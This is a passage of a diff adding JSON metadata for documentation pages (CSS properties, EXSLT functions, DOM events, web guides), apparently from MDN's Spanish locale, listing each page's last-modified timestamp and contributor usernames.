+      "AntonioNavajasOjeda"
+    ]
+  },
+  "Web/CSS/image": {
+    "modified": "2019-03-23T22:28:08.883Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/image-rendering": {
+    "modified": "2020-10-15T22:02:06.401Z",
+    "contributors": [
+      "rodrigorila"
+    ]
+  },
+  "Web/CSS/ime-mode": {
+    "modified": "2019-01-16T14:38:44.597Z",
+    "contributors": [
+      "teoli",
+      "fscholz",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/inherit": {
+    "modified": "2019-07-27T06:34:31.498Z",
+    "contributors": [
+      "josepaternina",
+      "AlejandroJSR7",
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/inheritance": {
+    "modified": "2019-03-23T23:53:04.499Z",
+    "contributors": [
+      "joseanpg",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/initial": {
+    "modified": "2019-01-16T15:42:24.130Z",
+    "contributors": [
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/inline-size": {
+    "modified": "2020-10-15T22:16:34.800Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset": {
+    "modified": "2020-10-15T22:16:40.193Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset-block": {
+    "modified": "2020-10-15T22:16:40.204Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset-block-end": {
+    "modified": "2020-10-15T22:16:39.037Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset-block-start": {
+    "modified": "2020-10-15T22:16:44.127Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset-inline": {
+    "modified": "2020-10-15T22:16:43.251Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset-inline-end": {
+    "modified": "2020-10-15T22:16:39.864Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/inset-inline-start": {
+    "modified": "2020-10-15T22:16:43.418Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/integer": {
+    "modified": "2019-03-23T23:50:21.071Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/isolation": {
+    "modified": "2019-03-23T22:32:29.363Z",
+    "contributors": [
+      "SoftwareRVG",
+      "javichito"
+    ]
+  },
+  "Web/CSS/justify-content": {
+    "modified": "2019-03-23T22:48:18.861Z",
+    "contributors": [
+      "amaiafilo",
+      "angelfeliz",
+      "teoli",
+      "Sebastianz",
+      "JoaquinBedoian"
+    ]
+  },
+  "Web/CSS/left": {
+    "modified": "2020-10-15T21:15:23.699Z",
+    "contributors": [
+      "SphinxKnight",
+      "miltonjosuerivascastro100",
+      "Sebastianz",
+      "teoli",
+      "ethertank",
+      "Mgjbot",
+      "fiorella",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/length": {
+    "modified": "2019-03-23T23:54:15.791Z",
+    "contributors": [
+      "israel-munoz",
+      "fscholz",
+      "teoli",
+      "deibyod",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/line-height": {
+    "modified": "2019-06-20T19:43:18.097Z",
+    "contributors": [
+      "jalonnun",
+      "Daniel_Martin",
+      "wbamberg",
+      "IsaacAaron",
+      "SphinxKnight",
+      "garolard",
+      "teoli",
+      "Mgjbot",
+      "Nathymig",
+      "RickieesES",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/linear-gradient()": {
+    "modified": "2020-11-16T08:56:55.739Z",
+    "contributors": [
+      "chrisdavidmills",
+      "efrenmartinez",
+      "rgomez",
+      "Miguelslo27",
+      "Sebastianz",
+      "prayash",
+      "scarnagot"
+    ]
+  },
+  "Web/CSS/list-style": {
+    "modified": "2019-03-23T23:52:08.020Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/list-style-image": {
+    "modified": "2019-03-23T23:52:12.640Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/list-style-position": {
+    "modified": "2019-03-23T23:52:11.106Z",
+    "contributors": [
+      "magdic",
+      "SphinxKnight",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/list-style-type": {
+    "modified": "2019-03-23T23:52:09.967Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "Nathymig",
+      "ethertank"
+    ]
+  },
+  "Web/CSS/margin": {
+    "modified": "2019-03-23T22:26:03.547Z",
+    "contributors": [
+      "Limbian"
+    ]
+  },
+  "Web/CSS/margin-block": {
+    "modified": "2020-10-15T22:16:43.806Z",
+    "contributors": [
+      "mariadelrosario98",
+      "teffcode"
+    ]
+  },
+  "Web/CSS/margin-block-start": {
+    "modified": "2020-10-15T22:16:40.788Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/margin-bottom": {
+    "modified": "2019-03-23T23:13:38.811Z",
+    "contributors": [
+      "wbamberg",
+      "Sebastianz",
+      "fscholz",
+      "damesa"
+    ]
+  },
+  "Web/CSS/margin-inline": {
+    "modified": "2020-10-15T22:16:41.777Z",
+    "contributors": [
+      "karen-pal",
+      "teffcode"
+    ]
+  },
+  "Web/CSS/margin-inline-end": {
+    "modified": "2020-10-15T22:16:40.105Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/margin-inline-start": {
+    "modified": "2020-10-15T22:16:38.735Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/margin-right": {
+    "modified": "2019-03-23T23:54:10.369Z",
+    "contributors": [
+      "teoli",
+      "Marti1125"
+    ]
+  },
+  "Web/CSS/max-block-size": {
+    "modified": "2020-10-15T22:16:39.543Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/max-height": {
+    "modified": "2019-03-23T23:52:01.295Z",
+    "contributors": [
+      "wbamberg",
+      "marc31bilbao",
+      "teoli",
+      "Mgjbot",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/max-inline-size": {
+    "modified": "2020-10-15T22:16:37.228Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/max-width": {
+    "modified": "2020-10-15T21:16:38.209Z",
+    "contributors": [
+      "SphinxKnight",
+      "teoli",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/min()": {
+    "modified": "2020-12-03T10:19:50.144Z",
+    "contributors": [
+      "AlePerez92",
+      "chrisdavidmills",
+      "meolivares06"
+    ]
+  },
+  "Web/CSS/min-block-size": {
+    "modified": "2020-10-15T22:16:39.045Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/min-height": {
+    "modified": "2019-03-23T23:51:59.533Z",
+    "contributors": [
+      "wbamberg",
+      "Sebastianz",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/min-inline-size": {
+    "modified": "2020-10-15T22:16:37.579Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/min-width": {
+    "modified": "2019-03-23T23:50:19.370Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "teoli",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/minmax()": {
+    "modified": "2020-11-16T09:05:45.467Z",
+    "contributors": [
+      "chrisdavidmills",
+      "jorgemontoyab"
+    ]
+  },
+  "Web/CSS/normal": {
+    "modified": "2019-03-23T23:50:19.746Z",
+    "contributors": [
+      "teoli",
+      "FredB",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/number": {
+    "modified": "2019-03-23T23:53:45.345Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/object-fit": {
+    "modified": "2020-10-15T21:53:59.281Z",
+    "contributors": [
+      "AlePerez92",
+      "BubuAnabelas",
+      "Cristhian-Medina",
+      "fernandozarco",
+      "chrisvpr",
+      "cristianeph"
+    ]
+  },
+  "Web/CSS/object-position": {
+    "modified": "2019-03-23T22:31:02.066Z",
+    "contributors": [
+      "thezeeck"
+    ]
+  },
+  "Web/CSS/opacity": {
+    "modified": "2019-08-20T11:36:11.809Z",
+    "contributors": [
+      "Armando-Cruz",
+      "blanchart",
+      "Manten19",
+      "UlisesGascon",
+      "teoli"
+    ]
+  },
+  "Web/CSS/order": {
+    "modified": "2019-03-23T22:28:06.551Z",
+    "contributors": [
+      "evaferreira",
+      "joshitobuba"
+    ]
+  },
+  "Web/CSS/outline": {
+    "modified": "2020-10-15T21:49:07.223Z",
+    "contributors": [
+      "danielblazquez",
+      "IsaacAaron",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/outline-color": {
+    "modified": "2019-03-18T21:15:39.790Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/outline-offset": {
+    "modified": "2019-03-23T22:27:28.876Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/outline-style": {
+    "modified": "2019-03-18T21:45:18.063Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/outline-width": {
+    "modified": "2019-03-18T21:16:50.488Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/overflow": {
+    "modified": "2020-10-15T21:22:11.063Z",
+    "contributors": [
+      "manuelizo",
+      "SJW",
+      "marc-ferrer",
+      "developingo",
+      "Sebastianz",
+      "Sheppy",
+      "teoli",
+      "_0x"
+    ]
+  },
+  "Web/CSS/overflow-y": {
+    "modified": "2020-10-15T21:37:11.176Z",
+    "contributors": [
+      "_deiberchacon",
+      "Silly-and_Clever",
+      "teoli",
+      "Sebastianz",
+      "yvesmh"
+    ]
+  },
+  "Web/CSS/padding": {
+    "modified": "2020-07-02T20:44:00.780Z",
+    "contributors": [
+      "kren.funes17",
+      "arielnoname",
+      "Sebastianz",
+      "fscholz",
+      "teoli",
+      "maiky"
+    ]
+  },
+  "Web/CSS/padding-block": {
+    "modified": "2020-10-15T22:16:40.169Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/padding-block-end": {
+    "modified": "2020-10-15T22:16:44.832Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/padding-block-start": {
+    "modified": "2020-10-15T22:16:44.371Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/padding-bottom": {
+    "modified": "2019-03-23T22:12:06.885Z",
+    "contributors": [
+      "qsanabria"
+    ]
+  },
+  "Web/CSS/padding-inline": {
+    "modified": "2020-10-15T22:16:45.046Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/padding-inline-end": {
+    "modified": "2020-10-15T22:16:39.998Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/padding-inline-start": {
+    "modified": "2020-10-15T22:16:41.877Z",
+    "contributors": [
+      "teffcode"
+    ]
+  },
+  "Web/CSS/padding-top": {
+    "modified": "2019-03-23T22:12:05.180Z",
+    "contributors": [
+      "qsanabria"
+    ]
+  },
+  "Web/CSS/perspective": {
+    "modified": "2019-03-23T23:23:10.717Z",
+    "contributors": [
+      "Sebastianz",
+      "Prinz_Rana",
+      "fscholz",
+      "teoli",
+      "AngelFQC"
+    ]
+  },
+  "Web/CSS/porcentaje": {
+    "modified": "2019-03-23T23:25:05.075Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "aerotrink"
+    ]
+  },
+  "Web/CSS/position": {
+    "modified": "2020-10-15T21:15:59.180Z",
+    "contributors": [
+      "mollzilla",
+      "ismamz",
+      "mauriciopaterninar",
+      "phurtado1112",
+      "sejas",
+      "OttoChamo",
+      "plaso",
+      "Aleks07m",
+      "welm",
+      "SphinxKnight",
+      "CarmenCamacho",
+      "enriqueabsurdum",
+      "killoblanco",
+      "teoli",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/quotes": {
+    "modified": "2020-10-15T21:46:00.335Z",
+    "contributors": [
+      "SJW",
+      "arroutado"
+    ]
+  },
+  "Web/CSS/radial-gradient()": {
+    "modified": "2020-11-18T14:42:09.252Z",
+    "contributors": [
+      "chrisdavidmills",
+      "hectorcano",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/repeat()": {
+    "modified": "2020-11-18T14:44:16.857Z",
+    "contributors": [
+      "chrisdavidmills",
+      "CrlsMrls",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS/resize": {
+    "modified": "2019-03-23T22:49:42.378Z",
+    "contributors": [
+      "SphinxKnight",
+      "Sebastianz",
+      "gonzalec"
+    ]
+  },
+  "Web/CSS/resolución": {
+    "modified": "2019-03-23T22:38:44.850Z",
+    "contributors": [
+      "Sebastianz",
+      "Prinz_Rana",
+      "Conradin88"
+    ]
+  },
+  "Web/CSS/resolved_value": {
+    "modified": "2019-03-23T22:16:57.498Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/right": {
+    "modified": "2019-03-24T00:13:54.957Z",
+    "contributors": [
+      "wbamberg",
+      "SphinxKnight",
+      "Sebastianz",
+      "teoli",
+      "FredB",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/rtl": {
+    "modified": "2019-01-16T15:48:03.556Z",
+    "contributors": [
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/CSS/scroll-behavior": {
+    "modified": "2019-03-23T22:07:41.439Z",
+    "contributors": [
+      "pantuflo"
+    ]
+  },
+  "Web/CSS/specified_value": {
+    "modified": "2019-03-23T22:16:53.752Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/text-decoration": {
+    "modified": "2019-03-23T22:21:38.548Z",
+    "contributors": [
+      "fitojb",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/text-decoration-color": {
+    "modified": "2019-03-23T22:27:00.164Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/text-decoration-line": {
+    "modified": "2020-10-15T21:49:07.335Z",
+    "contributors": [
+      "AlePerez92",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/text-decoration-style": {
+    "modified": "2019-03-18T21:17:28.073Z",
+    "contributors": [
+      "JimP99",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/text-emphasis": {
+    "modified": "2019-03-23T22:09:46.786Z",
+    "contributors": [
+      "studioArtbliss"
+    ]
+  },
+  "Web/CSS/text-emphasis-color": {
+    "modified": "2020-10-15T21:57:48.189Z",
+    "contributors": [
+      "BubuAnabelas",
+      "mym2013"
+    ]
+  },
+  "Web/CSS/text-orientation": {
+    "modified": "2020-10-15T22:02:16.878Z",
+    "contributors": [
+      "MikeOrtizTrivino"
+    ]
+  },
+  "Web/CSS/text-overflow": {
+    "modified": "2020-10-15T21:59:14.245Z",
+    "contributors": [
+      "davidelx",
+      "xpdv",
+      "plagasul",
+      "camilobuitrago"
+    ]
+  },
+  "Web/CSS/text-shadow": {
+    "modified": "2019-03-23T22:27:32.186Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/text-transform": {
+    "modified": "2019-10-10T16:32:05.528Z",
+    "contributors": [
+      "Makinita",
+      "evaferreira",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/time": {
+    "modified": "2020-10-15T21:50:52.581Z",
+    "contributors": [
+      "lajaso",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/top": {
+    "modified": "2020-07-29T21:08:45.361Z",
+    "contributors": [
+      "clancastor05",
+      "SphinxKnight",
+      "davidgg",
+      "solemoris",
+      "teoli",
+      "lcamacho",
+      "jaumesvdevelopers",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/transform": {
+    "modified": "2020-11-12T03:08:37.391Z",
+    "contributors": [
+      "SphinxKnight",
+      "rolivo288",
+      "SoftwareRVG",
+      "Sebastianz",
+      "GersonLazaro",
+      "fscholz",
+      "bicentenario",
+      "Xaviju",
+      "teoli",
+      "limonada_prototype"
+    ]
+  },
+  "Web/CSS/transform-function": {
+    "modified": "2019-03-23T23:10:41.562Z",
+    "contributors": [
+      "israel-munoz",
+      "mrstork",
+      "prayash",
+      "limbus"
+    ]
+  },
+  "Web/CSS/transform-function/rotate()": {
+    "modified": "2020-11-19T16:05:17.901Z",
+    "contributors": [
+      "chrisdavidmills",
+      "danielblazquez",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/transform-function/rotate3d()": {
+    "modified": "2020-11-19T16:07:08.348Z",
+    "contributors": [
+      "chrisdavidmills",
+      "jeronimonunez",
+      "jjyepez"
+    ]
+  },
+  "Web/CSS/transform-function/scale()": {
+    "modified": "2020-11-30T10:15:28.610Z",
+    "contributors": [
+      "chrisdavidmills",
+      "ileonpxsp",
+      "BubuAnabelas",
+      "lizbethrojano",
+      "yomar-dev",
+      "quiqueciria",
+      "maramal"
+    ]
+  },
+  "Web/CSS/transform-function/translate()": {
+    "modified": "2020-11-30T10:30:15.561Z",
+    "contributors": [
+      "chrisdavidmills",
+      "AlePerez92",
+      "hectoraldairah",
+      "Esteban26",
+      "murielsan",
+      "ShakMR"
+    ]
+  },
+  "Web/CSS/transform-function/translateY()": {
+    "modified": "2020-11-30T13:00:51.105Z",
+    "contributors": [
+      "chrisdavidmills",
+      "israel-munoz"
+    ]
+  },
+  "Web/CSS/transform-function/translateZ()": {
+    "modified": "2020-11-30T13:02:44.123Z",
+    "contributors": [
+      "chrisdavidmills",
+      "luisdev-works"
+    ]
+  },
+  "Web/CSS/transform-origin": {
+    "modified": "2019-03-23T23:20:59.497Z",
+    "contributors": [
+      "Sebastianz",
+      "fscholz",
+      "teoli",
+      "limonada_prototype"
+    ]
+  },
+  "Web/CSS/transform-style": {
+    "modified": "2020-10-15T22:31:22.949Z",
+    "contributors": [
+      "luisdev-works"
+    ]
+  },
+  "Web/CSS/transition": {
+    "modified": "2019-03-23T22:53:01.094Z",
+    "contributors": [
+      "FedericoMarmo",
+      "fscholz",
+      "adlr",
+      "Sebastianz",
+      "yvesmh"
+    ]
+  },
+  "Web/CSS/transition-delay": {
+    "modified": "2019-03-23T23:21:44.912Z",
+    "contributors": [
+      "mrstork",
+      "fscholz",
+      "Sebastianz",
+      "teoli",
+      "alcuinodeyork"
+    ]
+  },
+  "Web/CSS/transition-duration": {
+    "modified": "2020-10-15T22:27:34.821Z",
+    "contributors": [
+      "luisafvaca"
+    ]
+  },
+  "Web/CSS/transition-property": {
+    "modified": "2020-10-15T21:58:20.034Z",
+    "contributors": [
+      "juan-ferrer-toribio"
+    ]
+  },
+  "Web/CSS/user-select": {
+    "modified": "2020-10-15T22:22:14.480Z",
+    "contributors": [
+      "qwerty726"
+    ]
+  },
+  "Web/CSS/var()": {
+    "modified": "2020-11-04T09:10:15.439Z",
+    "contributors": [
+      "chrisdavidmills",
+      "jroji"
+    ]
+  },
+  "Web/CSS/vertical-align": {
+    "modified": "2019-03-23T23:36:07.945Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "riledhel"
+    ]
+  },
+  "Web/CSS/visibility": {
+    "modified": "2019-03-23T23:52:08.163Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "Nathymig",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/white-space": {
+    "modified": "2019-06-12T21:57:59.855Z",
+    "contributors": [
+      "jdaison",
+      "missmakita"
+    ]
+  },
+  "Web/CSS/widows": {
+    "modified": "2020-10-15T21:59:52.045Z",
+    "contributors": [
+      "jpmontoya182"
+    ]
+  },
+  "Web/CSS/width": {
+    "modified": "2019-03-23T23:50:07.221Z",
+    "contributors": [
+      "israel-munoz",
+      "diegocanal",
+      "teoli",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/CSS/writing-mode": {
+    "modified": "2019-03-23T22:28:35.899Z",
+    "contributors": [
+      "fitojb"
+    ]
+  },
+  "Web/CSS/z-index": {
+    "modified": "2020-03-20T18:20:08.966Z",
+    "contributors": [
+      "camsa",
+      "javichito",
+      "teoli",
+      "AntonioNavajas"
+    ]
+  },
+  "Web/CSS/zoom": {
+    "modified": "2019-03-23T22:35:36.401Z",
+    "contributors": [
+      "carloque",
+      "Sebastianz",
+      "pekechis"
+    ]
+  },
+  "Web/Demos_of_open_web_technologies": {
+    "modified": "2019-03-23T22:33:45.097Z",
+    "contributors": [
+      "SoftwareRVG",
+      "elfoxero"
+    ]
+  },
+  "Web/EXSLT": {
+    "modified": "2019-03-18T20:59:19.473Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/exsl": {
+    "modified": "2019-01-16T15:21:39.795Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/EXSLT/exsl/node-set": {
+    "modified": "2019-03-18T20:59:21.647Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/exsl/object-type": {
+    "modified": "2019-03-23T23:51:27.324Z",
+    "contributors": [
+      "ExE-Boss",
+      "lajaso",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/math": {
+    "modified": "2019-01-16T15:25:29.279Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/EXSLT/math/highest": {
+    "modified": "2019-03-18T20:59:18.500Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "lajaso",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/math/lowest": {
+    "modified": "2019-03-18T20:59:17.805Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "lajaso",
+      "Mgjbot",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/math/max": {
+    "modified": "2019-03-18T20:59:18.804Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "lajaso",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/math/min": {
+    "modified": "2019-03-18T20:59:20.254Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "lajaso",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/regexp": {
+    "modified": "2019-01-16T15:23:22.952Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/EXSLT/regexp/match": {
+    "modified": "2019-03-18T20:59:21.504Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/regexp/replace": {
+    "modified": "2019-03-18T20:59:20.093Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/regexp/test": {
+    "modified": "2019-03-18T20:59:20.575Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/set": {
+    "modified": "2019-01-16T15:23:27.004Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/EXSLT/set/difference": {
+    "modified": "2019-03-18T20:59:18.953Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/set/distinct": {
+    "modified": "2019-03-18T20:59:22.067Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/set/has-same-node": {
+    "modified": "2019-03-18T20:59:20.421Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/set/intersection": {
+    "modified": "2019-03-18T20:59:18.660Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/set/leading": {
+    "modified": "2019-03-18T20:59:17.662Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/set/trailing": {
+    "modified": "2019-03-18T20:59:19.267Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "teoli",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/str": {
+    "modified": "2019-01-16T15:24:51.477Z",
+    "contributors": [
+      "ExE-Boss",
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/EXSLT/str/concat": {
+    "modified": "2019-03-18T20:59:20.717Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/str/split": {
+    "modified": "2019-03-18T20:59:17.504Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/EXSLT/str/tokenize": {
+    "modified": "2019-03-18T20:59:19.116Z",
+    "contributors": [
+      "SphinxKnight",
+      "ExE-Boss",
+      "Talisker"
+    ]
+  },
+  "Web/Events": {
+    "modified": "2019-03-23T23:21:27.399Z",
+    "contributors": [
+      "ExE-Boss",
+      "wbamberg",
+      "gabo8611"
+    ]
+  },
+  "Web/Events/DOMContentLoaded": {
+    "modified": "2019-09-06T00:37:43.389Z",
+    "contributors": [
+      "wbamberg",
+      "jramcast",
+      "ExE-Boss",
+      "fscholz",
+      "AlexOfSoCal",
+      "jdmgarcia",
+      "daniville"
+    ]
+  },
+  "Web/Events/abort": {
+    "modified": "2019-04-30T13:47:43.431Z",
+    "contributors": [
+      "wbamberg",
+      "ExE-Boss",
+      "fscholz",
+      "balboag"
+    ]
+  },
+  "Web/Events/animationend": {
+    "modified": "2019-03-23T22:31:35.580Z",
+    "contributors": [
+      "ExE-Boss",
+      "soncco"
+    ]
+  },
+  "Web/Events/beforeunload": {
+    "modified": "2019-04-30T14:05:00.135Z",
+    "contributors": [
+      "wbamberg",
+      "ExE-Boss",
+      "anasyusef",
+      "Bant89"
+    ]
+  },
+  "Web/Events/blur": {
+    "modified": "2019-03-23T22:40:57.440Z",
+    "contributors": [
+      "ExE-Boss",
+      "AlePerez92",
+      "fscholz",
+      "teoli",
+      "javier-alba"
+    ]
+  },
+  "Web/Events/load": {
+    "modified": "2019-04-30T13:43:52.776Z",
+    "contributors": [
+      "wbamberg",
+      "ExE-Boss",
+      "AlePerez92"
+    ]
+  },
+  "Web/Events/loadend": {
+    "modified": "2019-03-23T22:09:49.071Z",
+    "contributors": [
+      "ExE-Boss",
+      "fscholz",
+      "darioperez"
+    ]
+  },
+  "Web/Events/pointerlockchange": {
+    "modified": "2019-03-18T21:16:43.654Z",
+    "contributors": [
+      "ExE-Boss",
+      "fscholz",
+      "arquigames"
+    ]
+  },
+  "Web/Events/transitioncancel": {
+    "modified": "2019-04-30T14:14:15.478Z",
+    "contributors": [
+      "wbamberg",
+      "ExE-Boss",
+      "juan-ferrer-toribio"
+    ]
+  },
+  "Web/Events/transitionend": {
+    "modified": "2019-03-23T22:04:18.976Z",
+    "contributors": [
+      "ExE-Boss",
+      "fscholz",
+      "juan-ferrer-toribio"
+    ]
+  },
+  "Web/Guide": {
+    "modified": "2019-07-18T20:35:32.528Z",
+    "contributors": [
+      "clarii",
+      "D3Portillo",
+      "Breaking Pitt",
+      "VictorAbdon",
+      "n2nand",
+      "Puchoti",
+      "DrTrucho",
+      "DanielCarron",
+      "daroswing",
+      "osodi",
+      "LeoHirsch",
+      "hjaguen",
+      "ethertank",
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/AJAX": {
+    "modified": "2019-03-18T21:14:54.246Z",
+    "contributors": [
+      "AlePerez92",
+      "chrisdavidmills",
+      "ccarruitero",
+      "chukito",
+      "Mgjbot",
+      "Nukeador",
+      "Summit677",
+      "Pascalc",
+      "Jorolo",
+      "Marianov",
+      "Takenbot",
+      "Baluart",
+      "Breaking Pitt",
+      "Seres"
+    ]
+  },
+  "Web/Guide/AJAX/Comunidad": {
+    "modified": "2019-03-23T23:41:30.919Z",
+    "contributors": [
+      "chrisdavidmills",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/Guide/AJAX/Primeros_Pasos": {
+    "modified": "2019-03-23T23:54:11.584Z",
+    "contributors": [
+      "padrecedano",
+      "chrisdavidmills",
+      "mili01gm",
+      "Mgjbot",
+      "Luis Hidalgo",
+      "Hegael",
+      "Tatan",
+      "Takenbot",
+      "Jorolo",
+      "Puxaalonso",
+      "Nukeador",
+      "Noctuido",
+      "Seres"
+    ]
+  },
+  "Web/Guide/API": {
+    "modified": "2019-09-11T09:31:45.916Z",
+    "contributors": [
+      "SphinxKnight",
+      "VictorAbdon",
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/API/DOM/Events/Orientation_and_motion_data_explained/Orientation_and_motion_data_explained": {
+    "modified": "2019-03-23T23:27:10.499Z",
+    "contributors": [
+      "Sheppy",
+      "rubencidlara"
+    ]
+  },
+  "Web/Guide/API/Vibration": {
+    "modified": "2019-03-23T23:03:32.169Z",
+    "contributors": [
+      "juancjara"
+    ]
+  },
+  "Web/Guide/CSS/Block_formatting_context": {
+    "modified": "2019-03-23T22:32:27.340Z",
+    "contributors": [
